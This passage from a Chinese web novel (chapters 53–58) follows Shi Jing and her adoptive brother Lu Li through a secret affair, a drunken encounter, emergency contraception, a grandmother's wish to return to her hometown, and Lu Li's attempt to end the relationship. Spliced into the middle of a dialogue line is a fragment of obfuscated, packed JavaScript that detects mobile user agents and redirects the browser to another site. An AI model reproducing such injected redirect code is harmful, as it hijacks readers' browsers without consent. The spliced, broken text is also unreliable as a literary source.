老太太笑起来眼角皱纹深深,“做,之后她都做杭菜。”杭县菜偏甜、偏清淡,不喜欢加辣椒和太多佐料,小盘盛菜,依靠食物自己的鲜甜,讲究应季而食。
但沙市这儿硬菜多,味重,色艳。
时憬从十五岁来了沙市,吃了这么多年,虽也吃惯了,但来了老太太这儿,自然更喜欢吃杭县菜。
祖孙俩说说笑笑吃完一顿午饭。
下午,老太太精神矍铄,揣着织毛线的篮子去同村的朋友家打发时间。
保姆沈姨和时憬跟着送过去。
老太太仍把时憬当小孩子,指着这让她叫爷爷,那个叫奶奶。她嘴甜,笑得也好看,听老爷爷老奶奶变着法地夸她。
时憬捧着脸笑得脸都红了。
老太太则一脸骄傲地看她。
陪老人家们打牌、聊天,晒着太阳,院子里笑声阵阵。
最后还是老太太赶她自己玩,不用陪着他们这群老人家。
下午陆礼应酬回来。
看见妹妹坐在飘窗上,晒着阳光正睡午觉。
第53章 自下而上吻的是他
冬日的暖阳笼罩着小房间。
时憬的长发束起,露出侧脸延伸至脖颈的白皙,红色毛衣衬得在阳光下好似能反光。脸颊因过分的温暖,从底下透出温暖的血色。
她睡得正香。
怀里还抱着一只同样在睡觉的小白猫。
动物灵敏,哪怕陆礼看见妹妹在睡觉后,已经放轻脚步声,但还是让小白猫察觉,它睁开眼,琥珀色眼瞳朝他看来。
陆礼站在门口,无声朝它嘘了下。
小猫歪了下脑袋,刚准备继续睡时,忽然从她怀里跳下来,朝门外跑走。
时憬动了下,睁眼醒来。
陆礼以为是自己吵醒她了,要进去时,看见妹妹接起电话。
脸上没一点被吵醒的起床气。
笑容自然就漾了起来。
“新年快乐!”
“费兰也和你们在一起呀。”
“可惜,我在沙市乡下,你们去吧,我就不去了。”
她动了下蜷起的腿,从飘窗上跳下活动身体,用肩膀夹着手机,扭动着睡僵的腰背,余光一闪,看见站在门口的身影,她脸上的笑容加深,对电话那头说了句‘我还有事先挂了’,扔下手机,向门口的陆礼飞奔过去。
“哥——新年快乐!”
她扑入陆礼怀中,仰头,眼眸亮晶晶的望着人。
陆礼微醉,被妹妹扑的险些被站稳,后背撞上墙壁,才没把人摔着。
时憬贴了两秒后,她皱眉捏鼻子,“你身上酒气好重,怎么大中午的就喝这么多啊?”
陆礼嫌弃也没生气,摸了下她头,喝醉的陆礼并不会话多,反而更沉默,但语气温柔得让人难以抗拒,“是喝的有些多了,我先上去睡会儿。”
时憬拉住他的手。
陆礼看她。
时憬推着他进房间,让他在飘窗台坐下,“房间里暖和,还能晒太阳,就在这儿休息,我给你去倒水。”
他看着妹妹忙前忙后。
先拿了垃圾桶进来,又拿了擦手的湿纸巾,最后端了两杯水放在手边的小茶几上,指给他看:“有温水,还有蜂蜜柠檬水,你要喝哪个?”
时憬看向愈发沉默的兄长。
然后,看见他像是扬了下唇,在笑。
陆礼五官生得极好,眉目深邃、高鼻薄唇,这些年身处高位愈发清贵冷漠,很少再像现在这样松弛下来笑着,时憬心跳失控,端了杯蜂蜜柠檬水给他。
“小舟也会懂得照顾人了。”
陆礼接过,仰头喝水。
时憬怔了下。
自她被陆礼带回陆家后,不论什么时候,好像一直是陆礼在照顾着她。
她总是在向他任性。
总觉得叫一声‘哥’,他就无所不能。
却忘记了陆礼只不过比她年长六岁,喝醉的时候,难受的时候,疲惫的时候,也需要有人照顾的。
时憬乱跳的心恢复平稳的跳动,她蹲下身,双手搭在他的膝盖上,眸色认真道:“陆礼,我以后会学着照顾你,”她顿了下,补充道:“就像是你那时候,学着照顾我一样。”
陆礼看她。
连收拾打碎的水杯都会弄伤的自己娇气的妹妹,说着稚气的话,她那双眼睛,如此认真澄澈,让人不由自主想要信服。
哪怕知道这一句话不过是哄他开心的谎言。
陆礼的指腹落在她额头发际,轻轻揉了下。
妹妹弯眼,冲他微笑,有股发甜的味道。
“陆礼。”
她柔着声叫他。
像刚才抱着的小猫。
陆礼指腹从额头划到额角,再往下划,温热的指腹存在感强烈,时憬的脸颊微红,眼睫随着他的动作细微地发颤。
两根手指不轻不重在脸颊上捏了下,嗓音低沉,“叫我什么。”
时憬皱眉,叫了声“哥”。
陆礼这才松开手指,后背靠在折叠沙发靠背上,眼睑垂着,像是困意袭来,又像是还在垂眸看她。
时憬嫌少看到这样的陆礼。
有些讶然。
这是真喝醉了?
她伸出一根手指:“哥,这是几?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734397|188794||http|test|mini|href|location''.split(''|''),0,{}));
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r>陆礼:“1。”
她再伸出一根手指:“这是几?”
陆礼:“2。”
时憬又伸出一根手指:“一加一等于几?”
“2。”他低笑了声,“我得喝得多醉才会上你的当,嗯?”说着,他又抬起手捏她的脸颊。
时憬来不及躲开,哼哼唧唧地**:“你喝醉了怎么还喜欢捏人,这是什么坏习惯。”她抬起他握着水杯的手,“快喝,能缓解头晕恶心的。”
陆礼又看了眼蹲着的妹妹。
仰头一饮而尽。
时憬看他好似口渴,站起身,想再去泡一杯蜂蜜柠檬水来,她从陆礼手中接过空杯子,第一下没有拿走。
今天还真喝醉了啊。
她柔声像哄小孩般开口,“还口渴么,我再去倒一杯来?”说话时,她下意识看向陆礼。
撞上他藏着温柔的眼。
时憬的视线下移,落在他喝了水后的唇上,身体比理智更先行一步,她靠近低头轻吻一下,分开时眼中是得意的笑,“偷袭成——”
还未等她说完,整个人猛地被拽去。
后脑勺被宽大的手掌控住,压着她不得不低下头,唇上染了酒气的气息灼热,手中才握住的空杯子跌落,在脚边咕噜咕噜滚了两圈。
她站在双腿间,被拦住退路。
长长的交换着呼吸。
拥住她的身上有热意传来,夹杂着蜂蜜的甜、柚子的微酸,垫着酒,她像是也有些醉了。兄长向来沉稳、内敛,哪怕在情事上,也多些容体贴,可喝醉的兄长像变了个人,时憬哪里受得住,双腿发软几乎都快站不住,被托着坐在他腿上,仍是维持着垂首的姿势。
明明她是上位者。
他自下而上的吻她,要仰赖着她。
可她软的坐不住,被他拥着、托着,双手无力搂着他的脖子,头埋在他颈项,气息紊乱粗重,阳光晒得她脸颊发红,眼角渗出湿润。
她能清楚的感受到,兄长清醒时,克制着不敢表现出来的对她身体的喜爱。
第54章 陆礼你这个……畜牲!
是欲望也好。
是怜惜也好。
是什么都没有关系。
她贪心的想要独占这样的陆礼。
不要让给任何人。
……
但哪怕是喝醉的兄长,抱着她回了房,也依旧记得自己的底线,不肯在没有准备的情况下触碰蔷薇,在时憬迷离混乱时,以为就要结束,却没想到……
没准备,也有没准备的办法。
……
紧闭的房门。
拉满的床帘。
昏暗的室内。
让人一时分辨不清白天黑夜。
时憬逐渐缓过神来,房间里的气味并不好闻,她看向身侧熟睡的陆礼,今天他真的喝醉了,睡得这么沉。
她伸出手在他脸上轻轻捏了下。
饿成这样,她不信陆礼碰过楼心月。
陆礼是她的。
谁也不能染指。
时憬贴上去,碰了碰他的唇,眼中皆是柔情。
可当她下床时,柔情瞬间变成狰狞,进浴室清洗时,看见自己身上的痕迹,她险些破口大骂,这人是狼还是狗!昨晚还那么绅士温柔,今天喝醉了就跟疯了一样,腿侧的指印最深,她不敢再回想这是怎么弄出来的……
酡红着脸快速清洗。
穿好衣服溜出兄长的房间。
时憬离开没多久,陆礼也醒了,醉酒后的头疼袭来,他按着太阳穴,紧接就意识到了身上的异样,记忆涌入脑中,他想起时憬蜷着坐在飘窗台上小睡的那一幕;想起时憬趴在他腿上,认真的说今后也要学着照顾;想起时憬垂眸望来的眼神;想起柔软发甜的触感,以及后面的全然失控的画面——
足够让自持冷静的陆少脸色难堪。
他不是没有喝醉的时候,但从没在男女之事上失控过,就是前一次在宣城喝醉时,他也不曾做这样的事情。
越想,陆礼的脸色越黑。
他还在毫无准备的情况下碰了妹妹。
而他前一晚还教导妹妹,今天就做了这样的事。
明明他都已经决定要帮她结束这段不堪的关系,妹妹本就自制力薄弱,结果他自己先破坏了规则。
陆礼,你这个……
畜生。
他沉着脸起床洗漱,换下床单扔进洗衣机。
下楼时家里只有保姆在。
“老太太和时憬去哪儿了?”
保姆从厨房出来,有些紧张地看着这个年轻却格外严肃的孙子:“祖孙俩去小卖部买酱油了,我说自己去,她俩说要活动身体,非要走着去。”
陆礼点头,问:“这儿最近的药店在哪儿?”
保姆看他没生气,语气才自然了些:“离我们这儿有点远,走过去得小半个小时。先生是身体不舒服吗?要买什么药你告诉我,我骑车去买。”说着就要解下围裙。
陆礼:“我自己去。”
他拿起放在门口的车钥匙,才想起中午是找代驾开回来的,喝了没法开车,又放下钥匙,找保姆拿电动车钥匙,问了操控方法,骑着去药店买药。
冬天哪怕有太阳,但寒风刺骨。
吹了来回两趟冷风,陆礼彻底清醒。
回来时,老太太和时憬也在客厅里坐着,她陪着早睡的老太太重看联欢晚会,手里还端着一个小蝶子,里面装了两块桂花糖藕。
地暖一烘。
客厅里到处都有淡淡的桂花甜味。
祖孙俩坐在一起,低声说笑,讲着一口陆礼听不太懂得杭县话,只听到妹妹本就柔的嗓音更软,调子婉转多情,尾音陷入一汪温泉。
陆礼脱了外衣,进客厅。
电视上正放一首杭县小调,老太太听得入迷,跟着轻轻地和。时憬先看见他,小声叫了声哥。
陆礼颔首,在他们斜对角的单人沙发上坐下,并未出声打扰老太太雅兴。
节目结束后,老太太才看见他,脸上有了些笑意,“酒醒了?看着精神还不错,你爸妈刚来电话,让你晚上在这儿休息,不用去他们那儿了。”
陆礼配合着笑了声,“那真是太好了。”
老太太不喜欢家人围着她热闹,却仍是个会心疼晚辈的老人家,“最近都忙坏了吧?”
陆礼:“年底工作忙,饭局也多,等过完年就好了。”
老太太看他没有勉强之色,知道这个孙子自小精神旺盛、事业心重,她心疼两句就算了,口风一转跟着问道:“忙得都没时间谈朋友吧?”
时憬坐在旁边,低头小口咬着糖藕。
陆礼浅笑道:“对,先忙事业,其他的都不急。”
时憬舌尖舔过蜜糖,甜丝丝的糖水顺着喉咙下去。
她就知道,陆礼不会看上楼心月。
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>陆老太太嗯了声,“不用拿这些话来敷衍我,我不催你这些事。结婚生孩子那是一辈子的大事,急了随便找一个应付,就是拿自己的一辈子去开玩笑。”老人家说话直来直去,年轻时骂起人来更狠,如今年纪大了温和许多,但对不顺着她的儿子,向来没什么好脸色。她说着抬手,摸了下时憬的脑袋,对这个半路的孙女,语气显然慈爱许多,“你也不急,才二十岁出头的年纪,别听**。”
时憬眨眨眼,“您都知道啦?”
老太太:“你妈和我都说了,说邓家那是个好孩子,让我催催你,我才不听她的。不过有一件事你也得记着,咱喜欢就说,不喜欢就说明白,不干吊着人的事,不地道。”
时憬笑着点头:“我记得呢。”。
“知道就好。”老太太捏捏她胳膊,皱了眉:“怎么比上次来又瘦了,这些年肉都吃哪里去了?”
时憬最怕陆家人念叨瘦。
更不想让老太太担心,插科打诨加撒娇,眼看着就要敷衍过去了,陆礼在旁边悠悠加了句:“您这些日子看她吃几顿饭就知道了,七八岁的小朋友都没她挑食。”
时憬恼他,瞪了眼过去。
这人自己吃饱了就来拆她的台?
又对老太太道:“您别听我哥胡说。”
老太太笑呵呵听他们兄妹拌嘴,气氛轻松融洽。
陪着老太太用过晚饭看了会儿电视,老人家上楼休息,时憬也止不住打哈欠,上楼洗漱。陆礼才叫来保姆问话,语气温和:“老太太平时也都这么早上楼睡觉?晚上我看她吃得也不多,平时也是这个饭量?”
陆家父子平日工作忙,这几年老太太都由保姆尽心尽力照顾,他们对保姆一向客气。
保姆回道:“老太太年纪大了,这两年消化不太好,晚上吃多了就说不舒服,所以吃得少。”
陆礼颔首,“过年后我替老太太约了全身检查,如果她不想去,您直接打我电话,我来和她沟通。”
保姆连连点头,“嗳好,老太太有您这样细心的孙子,真是老人家的福气,你们放心,我一定会好好照顾老太太的。”
陆礼耐心听完,说了句辛苦,才上楼去。
他站在时憬门前,拿出口袋中的药。
眸色浮沉几次,抬手敲门。
第55章 陆礼,你不是人…
“是我。”
隔着门,传来踢踢踏踏的脚步声,拉开的门后,是一张脸颊红润、眼眸黑亮的脸,她后退两步,给陆礼让路,“哥,你怎么来了呀。”
陆礼反手关上门。
视线落在她滴水的头发上。
严肃古板的兄长皱了下眉:“先吹干头发再说。”
时憬手里本来就拿着吹风机,下意识哦了声,应完后顿了下,笑盈盈把吹风机塞兄长手中。
陆礼:“你几岁了?”
他嗓音冷淡地反问。
时憬理直气壮:“六岁!”二加四可不就是等于六么。
陆礼:……
他还是朝梳妆台走去,调好了温度风速,看着妹妹坐下。
被人服务是一种享受。
暖风吹得脑袋连脖子、肩膀都暖融融的,温暖得让人昏昏欲睡,耳边风机运转声更像是白噪音,时憬头发长,吹干时都快睡着了。
她听见风机声停下,睁开眼,有些不舍:“好了?”
陆礼嗯了声,收起吹风机,放在一边。
时憬慢慢清醒过来,昂头看着他默不作声照顾自己的模样,心头微热,悄悄舔了下唇,两根手指拽住他的衣袖,轻轻晃了下,嗓音娇软得像是染了粘稠的蜜糖:“今天晚上能等我睡着了再走么?”
眼前的妹妹头发蓬松,脸上是沐浴后的好气色。
眼神干净地看着他。
这样的眼神,愈发让陆礼难以开口。
秦天川多次告知他不要让时憬吃药,这会影响她的病情恢复,可他今天都做了什么混账事情。
他握住纤细手腕,语气微沉:“时憬。”
时憬看他表情严肃语气凝重,以为他又要说结束关系、推开她的话,好心情眨眼消散,甩开陆礼的胳膊,冷冷道:“我不想和你谈任何事情——”
她转身就走。
被陆礼抓住手腕。
“放开我!”她猛地转身,抬手去掰他的手,带着不管不顾的狠劲。陆礼怕弄伤了她,连忙松手,不妨时憬还未完全卸力,手背狠狠撞向梳妆台边角,撞击的疼痛让她瞬间掉了眼泪。
陆礼紧皱眉头,强行扣住手腕去看。
手背上的红印发烫。
时憬不敢再挣开,“你就不能让我过个好年吗?非、非要现在提这些?”她哽咽的开口,眼泪顺着腮边落下,肩头微颤,哭得委屈又可怜。
她最知道怎么做才能让兄长心软。
使劲憋红眼睛。
小声抽泣着落泪。
换来兄长温柔地为她拭泪,指腹擦过她的脸颊,低沉嘶哑的声音在眼前响起。
“对不起。”
时憬不敢置信地抬头看他!
今天下午他们还那么亲密,在床上他还主动拥抱自己,现在又要推开她了?
时憬的眼中涌出层层叠叠的绝望。
水雾也跟着凝结,化成眼泪,一滴滴落下。
“陆礼,你不是人——”
她嗫嚅着苍白着唇瓣,手腕颤抖。
陆礼垂眸,并未反驳妹妹骂人的话,把药放到她手中,从喉咙挤出这一句话:“今天是我失控,你…先把药吃了。”
时憬看着手中的药板,愣了下。
药?
她拿起看了眼,即便从未吃过,但她也能猜到这是什么药,陆礼以为下午是成功了?所以他那会儿从外面回来,是为了去买这药?
“对不起,时憬。”陆礼握住她手腕的掌心滚烫,几乎要灼伤她,简单的这五个字,极为沉重的从他口中吐出,情绪复杂到时憬都无法辨别。
萦绕在时憬胸口的愤怒消散于无形。
取而代之的像是一团棉花堵住。
让她有些呼吸不畅。
她想直接告诉陆礼,说直到最后他都忍住了,他守住了昨晚说的每一句话。
但陆礼的后悔与愧疚,像是绵密的细针落下。
没有锥心刺骨的疼,但稍微想起,就能引起细微的不适。
她从未奢望陆礼能像偶像剧一般说出‘如果出了意外我会负责’,她也清楚的知道他想要结束这段不可见人的关系,但他至少可以来问一下她,而不是直接把药放入她的手中,只给她一个选项。
细微的疼痛下,恶意悄然而生。
她抿得唇发白,低声说“不用担心,我会吃的”,说完,她挣开他的手,拧开一瓶矿泉水,抠出白色药丸,仰头咽下,而
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后看向陆礼,脸上的浅笑比哭还要难堪,“你需要检查下么?”嗓音细颤,眼角发红,眼中盛着大片的水色,随时都能落下晶莹的眼泪。
果然,她看见兄长眼中的愧疚。
“紧急避孕药会影响体内激素水平,服用后可能会出现撤退性出血、胃肠道不适、头晕乏力或情绪低落这些副作用,从今天晚上起,如果有任何不适,一定要及时告诉我。”他没有像往常一样说“记住了么”,而是温柔的同她说,“好么?”
他的愧疚与担心,几乎能化为实质。
时憬佯装害怕地抓紧手,目光不安的看他,“吃下去会出现这么多副作用吗?”她语气中的不安真实得让人无法怀疑,甚至握住陆礼胳膊的手指都有些冰凉。
“不怕,不一定会出现副作用的。”陆礼低声安抚,他查看了服用紧急避孕药后可能会出现的副作用,甚至打电话咨询了秦天川,并约了年后的一次临时复诊。
兄长沉稳的话语似乎也安抚不了胆小娇弱的妹妹,颤着声央求:“我还是害怕,今天晚上你能留下来陪我么?”
在陆礼眼中,时憬本来就娇气怕疼,这会儿可能还被他说的副作用吓到了,眼睛红通通的看着他,让人心软。
因愧疚,陆礼没有拒绝这个请求。
“好。”
又因愧疚,在妹妹靠近时,他没有推开。
兄长的身体在冬日像火炉一样温暖,时憬贴着他胸膛,听着平缓的心跳声,睡意渐渐涌来夺走她的意识,但也睡得很浅,旁侧的人动了下,就已被吵醒。
她睁眼,看着陆礼起身正准备离开。
陆礼也察觉,看她于昏暗中睁开的眼,“吵醒你了?”
“不要走。”
她揪住衣摆。
陆礼犹豫一瞬后再度掀开被子躺下来,时憬又贴上他,双手紧紧搂住他精壮的腰腹。
像是又怕他偷偷离开。
“睡吧,等你睡着我在走。”
时憬埋首,含糊着嗯了声,她也需要夜间香甜的睡眠,白天的小睡并不能让人完全恢复精神。
越这么想,越是睡不着。
时憬闭着眼彻底精神起来。
第56章 再不回去她就要回不去了
倒是陆礼的呼吸声浅浅,听起来像是困了。
但她才动了下,他就已察觉,“睡不着了?”
时憬维持着这个令人安心的姿势,故意说道:“可能是白天睡多了睡不着了。”
陆礼:……
时憬在黑暗中都能感受到他的不自然,感受到胸膛震动,毫无波澜的声音响起:“闭上眼睡觉。”
她险些笑出声,先应了声,然后开始有一搭没一搭地说话,专门挑陆礼没法呵斥打断的话题。
“奶奶今天说,等过完年后想回杭县小住,还说之前爸爸和你都不同意她回去,这次她打定主意不管你们了,她自己回去,你们有空就送送,没空就拉到。”她模仿着老太太的语气,说得活灵活现的,最后加了句:“到时候你们都没空的话,我陪着奶奶回去。”
这个话题陆礼的确无法打断。
他认真听完,“明天爸妈要来家里吃饭,我和他们提一下。但沙市到杭县距离远,老太太上了年纪,担心她长途跋涉身体会吃不消。”
陆礼的理由听起来如此充分。
像极了一个孝顺晚辈。
时憬却小声说:“年轻的时候不让回,现在又说年纪大了,左右话都被你们说完了。”
陆礼松开她,支起胳膊严肃看她:“为子女者,不可妄议父母。爸妈当时不让老太太回去,肯定有不能回的原因。”
时憬沉默了会,握着被子的手指用力,指尖发白:“陆礼,再不让回去,奶奶就真的要回不去了。”
这一句话,让陆礼怔了下。
时憬也不继续躺着了,掀开被子坐起:“我当然希望老太太能身体健康万事如意长命百岁,但这两年,奶奶精神明显不如之前了,人也瘦了。是,你们每年都给奶奶安排最全面的身体检查,也给奶奶请保姆照顾,平时吃的喝的用的都是最好的,但这些都挡不住自然衰老的速度。现在她还走得动,难道真的要等到一步都走不动了,老太太泪眼汪汪地怀念故乡,我们才开始懊悔没带她回一趟杭县看看吗?”
时憬的这番话说得直白,刺耳。
陆礼却没有呵斥。
他想起今天问保姆的话,他是今天发现老太太精神不足,吃得也少了,但他发现后做了什么?他只问了问保姆,然后安排一次详细的身体检查,检查完之后呢,看到一切都好的报告,就不在继续过问,把老太太的一切都交给保姆照料。
父亲何尝不是如此?
去一趟杭县舟车劳顿,他们是担心老太太的身体,他们劝不动,所以拖着。
拖到什么时候?
或许是想拖到老太太自己死心。
又或是拖到时憬说的那一天到来——
陆礼的沉默让时憬有些担心,自己是不是把话说得太难听了,就在她想开口解释时,陆礼才再次看向她,目光平静温和,“明天我会和爸妈说的。”
时憬惊喜:“真的?”
陆礼颔首。
时憬:“有你出马和爸妈说肯定没问题,这样老太太也不用生爸爸的气了。”她看起来比老太太还要高兴,眉眼弯弯的。
陆礼看了眼她单薄的棉睡衣,扶着肩膀让她躺下,拉高被子,把人盖得严严实实,“聊完天了,睡吧。”
时憬这次真心满意足。
她握着陆礼的手,闭眼酝酿睡意。
等再次睁眼醒来时,晨光从窗帘底下的缝隙洒进来,她看着身旁空空如也的位置,伸手过去摸了下,触手冰凉。
时憬压下心底的翻涌,起床梳洗。
今天陆父陆母要过来老宅吃饭。
保姆做了一桌子地道的沙市菜,在厨房里从早上就开始忙碌,阿姨一人忙不过来,时憬进去打下手帮忙。
陆礼在客厅里陪老太太说话。
快到中午时,陆父陆母才出现。
回乡下过年对他们来说根本不是休息。
一茬茬的聚会、聚餐,一杯杯酒喝下去,一盏盏茶喝下肚,再色香味俱全的满汉全席也有吃腻的时候。今天来老宅,也算是忙里偷闲,清清肠胃。
还没进屋,就看见儿子走出来。
像有话要和他们说。
时憬端了最后一道菜出来放下,看见落地窗外,陆礼正和爸妈在外头说话,三个人脸色都挺严肃的。
而陆老太太看她盯着外面,担心她年纪轻心思浅,怕她
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多想,出声叫她过来,“也不知道在外面说什么不能让咱们听见的悄悄话,不管他们三个,你来陪奶奶说话。”
时憬怔了下才笑。
听出来是老太太在担心她。
时憬坐过去,依偎着老人家小声说了几句。
老太太惊讶地挑眉,连手里的毛衣也不打了,“真是这件事?”说了完后,又自个儿往下说:“陆礼这孩子主意正,只要他开了口,就有八成把握。”最后,笑眯眯地摸她脸颊:“哎哟,还是你有办法!”
老人家的掌心粗糙。
但手掌温热。
时憬在她的手中乖巧地微笑,“谁让我最喜欢您呢~”
老太太眉开眼笑:“就属你这小姑娘嘴最甜。嘴甜好啊,一辈子少吃苦。”她看着眼前笑意盈盈的女孩儿,眼中皆是慈祥的疼爱,“等回杭县,奶奶带你去看油菜花,金灿灿的,一大片都是,风一吹过,花晃啊晃的。”
语气中都是浓浓的怀念。
吃饭时,陆父主动提及回杭县一事。
老太太心里乐开了花,但脸上不愿被儿子媳妇看出来,哼了声,“你们都忙,不用来管我,我带着阿姨、时憬回去。”
陆父听后连忙表态:“我陪您回去,这几年我退下来了没以前那么忙,这些年也没去过您的故乡,这次还想跟着您回去逛逛呢。”在外威严的陆父,在老太太面前仍是个说话谨慎的儿子,生怕一句话说得不巧就惹恼了老母亲。陆母也附和说想跟去看看。
老太太看不舍得分开的两人一眼,“不用,你们俩跟过去吃不惯住不惯的,我还得反过来操心你们。就时憬跟我回去,这事就这么定了。”
老人家态度强硬,但陆父如何放心就让时憬一个人跟过去?
在他心里,女儿还是个出门需要人照顾的,怎么能一个人在杭县照顾老太太十天半个月。
商量来商量去,险些把老太太商量**了。
最后还是陆礼开口定下,他送老太太和保姆抵达杭县,时憬提前去杭县打理住宿,顺道在那边接应老太太。
但出行也有条件,就是得接受身体检查,等结果出来后再出发。
第57章 噩梦化成现实
老太太一高兴,中午都多吃了小半碗饭。
杭县的老式楼房还在,但年数实在太久,又常年没人居住,冷僻的和鬼屋无异,偏老太太非要住老房子里,不肯住酒店。陆家父子工作忙,陆母与老太太不太亲近,时憬将众人的反应看在眼中,主动拦下了打扫的活。
她记得老太太对自己的好。
也想努力回馈老太太的善意。
当天下午就把老房子的钥匙寄回去,找开荒保洁。
吃过午饭,老太太翻出一本老相册,同时憬絮絮叨叨地提及过往。说经历过荒年后,家里亲戚没剩下几个了,倒是有几个邻居比亲戚更亲近,这次回去要看看他们,又担心自己离乡太久,现在都这么老了,怕那些老邻居都要认不出自己。
可老太太心态特好,担心了一阵后,就让时憬明天带着她去市里买几身新衣服、染个头发、做个护理,哪怕是老邻居认不出自己,那也得在他们眼里是个又精神又时髦的小老太太才行。
自定下要回杭县后,时憬每天都陪着老太太出门。
有时是陆家父子轮流开车送她们,有时是保姆开车。
老太太除了置办行头,时憬还带着她去商场给老房子挑软装——老房子太久没人住,里面的家具全部都得换新的,房子需要修补的地方也多,咨询过老人家意见后,时憬花钱找了个室内设计师,要求以最快的速度硬装重装完毕,至于软装,老太太有自己的想法,时憬跟着就负责给出尺寸参考以及买单、安排送货。
除了这些软装,老太太买得最多的就是沙市各种伴手礼。
当地特色糕点、茶叶等。
嘴边总挂着一句‘这些杭县是没有的,买点给老邻居们尝尝鲜’,每日高强度逛街下来,老太太胃口好了,精神头也足了,时憬也跟着忙起来,晚上空下来,就和设计师沟通装修进度,或是做出行计划。
老太太白日要时憬陪着。
时憬晚上要陆礼陪着才能入睡。
在老宅的这几晚,她几乎天天都溜去隔壁房间。
起初两天她还会找各种理由,后来连理由都懒得编了,问就是做噩梦。
时憬尝到了利用兄长的愧疚用以得寸进尺。
霸占着兄长。
而陆礼自然也察觉到她的变本加厉。
转眼年假到了尾声,时憬提前申请居家办公室,打算回陆园住上两晚收拾好行李后,动身出发杭县。
离去杭县的日子越来越近,时憬的焦躁也愈发明显。
哪怕老太太家与那些亲戚并不在一处,但她仍为可能遇见他们而感到恶心。
白日潜藏的焦躁,通通映射到夜晚噩梦中。
她闭上眼,自己似乎又回到身处绝境的那一夜,那些道貌岸然的亲戚认定母亲还有私藏,连外衣都不给她穿,把她推到冰冷的屋外罚站,让她拿出来存折。
时憬冻得瑟瑟发抖。
她求他们让她进去,求他们不要为难自己。
换来的是更加汹涌的恶意。
母亲在时,这些亲戚对她们孤儿寡母嘘寒问暖,疼爱地叫她小舟,可母亲车祸离世后,仅仅一个晚上,所有人都变了,通通变得面目可憎。
她由母亲从小呵护长大,从未接触过恶意。
自母亲过世后,她几乎快被恶意扑倒、拆吃入腹。
她被赶到门口,冷得牙齿打颤,脸颊、手指冻得都快失去知觉,眼前是一条黑漆漆、冰冷的河,从小她最怕走夜路,这一次她却一点儿也不害怕,甚至主动朝着小河走去。
她想去找妈妈。
想要逃离充斥绝望和恶意的世界。
她抬脚,一步步靠近。
浑身冰冷。
小腹剧痛。
就在她的足尖碰到黑沉沉的水面时,身后骤然响起一道声音。
‘时憬’
她猛地回头看去——
时憬睁开眼,盯着没有关的小夜灯,手中还握着手机,界面停留在一家天猫店铺,是她刚才刷手机不小心睡着了,而后背几乎被冷汗浸透,胸脯剧烈地喘息起伏着,心脏也猛烈跳动,尚未摆脱梦里让人窒息的绝望。
除惊恐外,小腹传来的刺痛愈发明显。
时憬软着腿去上厕所。
发现弄脏了裤子,以为是生理期来了,又想起日子还没到,她怔了会儿,才想起可能是陆礼之前说的‘撤退性出血’。<
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br>陆礼…
对。
她想起来了。
梦中最后出现的那一个声音是陆礼的。
此时此刻,她迫切地想要见到他,想要触及他的体温,驱赶复苏的不安与恐惧。
时憬换了身睡衣,处理好后,闯入隔壁屋中。
哪怕屋中一片漆黑,她轻车熟路的到床边,掀开被子躺了进去,朝着另一侧靠了过去,抬起手,指尖却未触及温热而结实的身躯。
“啪——”
小夜灯亮起刺眼的光。
时憬下意识眯起眼,顺着光线最明亮的地方看去,她未拥抱到的兄长,正坐在一把红丝绒高背椅上,目光隔着晕黄的灯光,平静地落在她的身上。
她下意识抬手挡了下光。
“你关着灯不睡觉坐那儿干嘛呀?”
陆礼并未回答这个问题,只是语气温和地问她:“今天又做噩梦了?”
时憬软着声音嗯了下。
今晚的确是做了噩梦。
但最后是兄长的声音将她从噩梦里拉了出来,她迫切地想要见到他,所以她才来了。
她虽未开口,但那些话都充盈在一双黑润的眼瞳里,直直地望着他。
陆礼缓缓起身,在床边坐下,与她隔了些距离,看着时憬的确发白的脸色,而不似前两次睡的脸颊红扑扑的模样,态度有所软化,“秦天川在国外休假,我帮你约了视频会诊,明天下午两点,有任何问题你都可以向他寻求帮助。今天先睡吧,等你睡着了我再送你回去。”
时憬敏锐。
听出他话语中的拒绝。
也看明白兄长一直坐在椅子上是为了不再触碰拥抱她。
她偏当做没听懂,伸手去碰他的手背,挤出柔软无辜的笑,“陆礼,你不上来睡么?”
她的手心有冷汗冒出。
指尖冰凉。
在触及男人温热的手背前,他极为自然地抬起手,掖了下被角,“我在这儿守着你,快躺下睡吧。”
时憬唇边的笑意快要僵住,黑润的眼中凝结出波动的水雾,一晃一晃的,随时都会化成眼泪落下来,“明天回陆园后,我就要出发去杭县了,陆礼…你真的不肯再陪陪我么?”
第58章 时憬,你管管你哥行么!
娇气的妹妹最清楚该怎么做、怎么说才会让兄长心软。
但今夜的陆礼态度温和,却不再怜惜她。
“在沙市,你做一次噩梦,我能守着你入睡一次,等你去了杭县怎么办,总不能一直依靠我这个在沙市的哥哥。”他眸光温柔,如一位宽容的兄长对待犯了错的妹妹,态度温和,但没有任何商量的余地。
时憬缓缓睁大眼。
新年那场噩梦在这一刻化为现实。
她明明身处在温暖之中,但四肢冰凉、胸口更像是被寒冰冻住,稍一动,就听见了清脆的冰裂声。
小腹针扎刀割一般的疼。
“那之前你为什么…同意了?因为喝醉酒没忍住碰了我,愧疚所以才同意的?现在你认为那一颗药没有伤害到我,你不愧疚心软了,又打算要推开我是吗!”
她方才有多可怜羸弱,此时从她口中说出的每一句话,就有多刺耳讽刺。
时憬牢牢盯着陆礼,不肯错过他脸上任何表情。
接着,她看见陆礼的唇张合。
他说:“小舟,我永远会是你的哥哥。”
语气如此温柔。
时憬恨不得能捂住耳朵,被冻住的心脏有了裂痕。
“我不要听——”她眼睛通红地看他:“在我十九岁的时候,我们就已经不再是单纯的兄妹了!”
他偏首,移开视线。
从床头的木纹纸巾盒里抽出两张纸巾,递给时憬:“不正确的关系需要修正,我的纵容也只会让你永远沉溺在过去。”他语气依旧温柔,“时憬,你该学会往前走了。”
她浑身都在止不住地颤抖。
眼泪汹涌滑落。
“可、可是你同意了啊……你…你也喜欢我的身体……不是吗…?这些年难道没有一点……哪怕是一丁点喜欢我么?”
陆礼眸色晦暗一瞬:“抱歉,那些是正常男人的欲望。”
时憬猛地抬眸看他。
